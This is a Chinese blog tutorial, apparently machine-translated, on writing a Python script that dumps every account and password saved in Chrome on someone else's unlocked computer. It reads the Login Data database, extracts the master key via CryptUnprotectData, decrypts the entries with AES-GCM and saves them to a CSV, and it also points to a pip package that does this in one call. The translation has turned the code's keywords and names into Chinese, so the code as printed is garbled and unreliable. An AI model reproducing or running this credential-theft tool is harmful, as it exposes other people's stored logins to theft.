python实现自动登录网页用户名密码,python获取电脑用户名和密码

  python实现自动登录网页用户名密码,python获取电脑用户名和密码

  发现很多人喜欢在学校图书馆用电脑占座,出门也经常不锁屏。为了让大家养成良好的习惯,本文将分享一个小程序,可以快速获取你存储在电脑浏览器中的所有账号和密码。有兴趣的可以看看。

  00-1010简介相关文档开发工具的构建环境原理简介

  

目录

  发现很多人喜欢在学校图书馆用电脑占座(好像好多年没去过学校图书馆了),出门经常不锁屏。为了让大家养成良好的习惯,我带大家写一个小程序。无需输入任何密码,您就可以快速获取存储在电脑浏览器中的所有帐户和密码。通过实践自己的真知给你提个醒~

  事不宜迟,我们愉快的开始吧~

  

导语

  Github地址

  

相关文件

  Python版本:3.7.8

  相关模块:

  皮卡丘工具模块;

  Pycryptodome模块;

  以及python自带的一些模块。

  

开发工具

  安装Python并将其添加到环境变量中。pip可以安装所需的相关模块。

  

环境搭建

  众所周知,我们的浏览器一般会存储很多我们访问过的网站的账号和密码:

  通常,要查看这些密码,您需要输入电脑的开机密码。但其实我们也可以通过其他方式直接查看这些账号密码。例如,在Google Chrome中存储帐户密码的数据库文件的默认路径是:

   OS . environ[ User profile ]OS . sep r appdata \ Local \ Google \ Chrome \ User Data \ Default \ log in Data

  我们可以通过读取该文件获得相应的帐户密码:

  读取数据库数据

  def readdb(self,dbpath,master_key):

  sql=SELECT origin_url,username_value,password_value,date_created,date _ last _ used FROM logins

  client=sqlite3.connect(dbpath)

  游标=client.cursor()

  with open(self.savename, a ,newline= ,encoding=utf-8-sig )作为csv_file:

  游标. execute(sql)

  csv_writer=csv.writer(csv_file,dialect=(excel ))

  如果不是self.write_heads_flag:

  CSV _ writer . writerow(self . CSV _ heads)

  self.write_heads_flag=True

  信息=[]

  用于cursor.fetchall()中的行:

  对于范围内的idx(len(self . CSV _ heads)):

  if isinstance(row[idx],bytes):

  info . append(self . decrypt(row[idx],master_key))

  else:

  info.append(行[idx])

  csv_writer.writerow(info)

  信息=[]

  cursor.close()

  client.close()

  密码是加密的结果,打印出来会是这样的:

  但是解密其实很简单。正如您从在线资料中所知,我们只需要获得关键值:

  获取主密钥

  def getmasterkey(self,local_state_path):

  导入win32加密

  用open(OS . environ[ user profile ]OS . sep local _ state _ path, r ,encoding=utf-8 )作为fp:

  local_state=fp.read()

  本地状态=json.loads(本地状态)

  master _ key=base64 . b64 decode(local _ state[ OS _ crypt ][ encrypted _ key ])

  master_key=master_key[5:]

  master_key=win32crypt。CryptUnprotectData(master_key,None,None,None,0)[1]

  返回主密钥

  然后根据键值解码:

  解码

  定义解密(自身,值,主密钥):

  打印(值)

  if值[:3]==bv10:

  来自Crypto。密码导入AES

  四、有效载荷=值[3:15],值[15:]

  cipher=AES.new(master_key,AES。模式_GCM,iv)

  解密值=cipher.decrypt(有效载荷)

  解密值=解密值[:-16]。解码()

  else:

  导入win32加密

  decrypted_value=win32crypt。CryptUnprotectData(value)[1]。解码()

  返回解密值

  解码后,运行结果如下:

  得到的结果默认保存在results.csv中,截图如下:

  好了,你完成了。有关完整的源代码,请参见相关文档。

  想要快速测试的合作伙伴只需要pip来安装pikachupytools包:

  pip安装pikachupytools -升级

  然后只需编写几行代码来调用和运行:

  从pytools导入pytools

  tool_client=pytools.pytools()

  tool _ client . execute( decrypt browser )

  关于基于Python一键获取电脑浏览器账号密码的这篇文章到此为止。关于Python浏览器账号密码的更多信息,请搜索热门IT软件开发工作室之前的文章或者继续浏览下面的相关文章。希望大家以后多多支持热门IT软件开发工作室!

郑重声明:本文由网友发布,不代表盛行IT的观点,版权归原作者所有,仅为传播更多信息之目的,如有侵权请联系,我们将第一时间修改或删除,多谢。

留言与评论(共有 条评论)
   
验证码: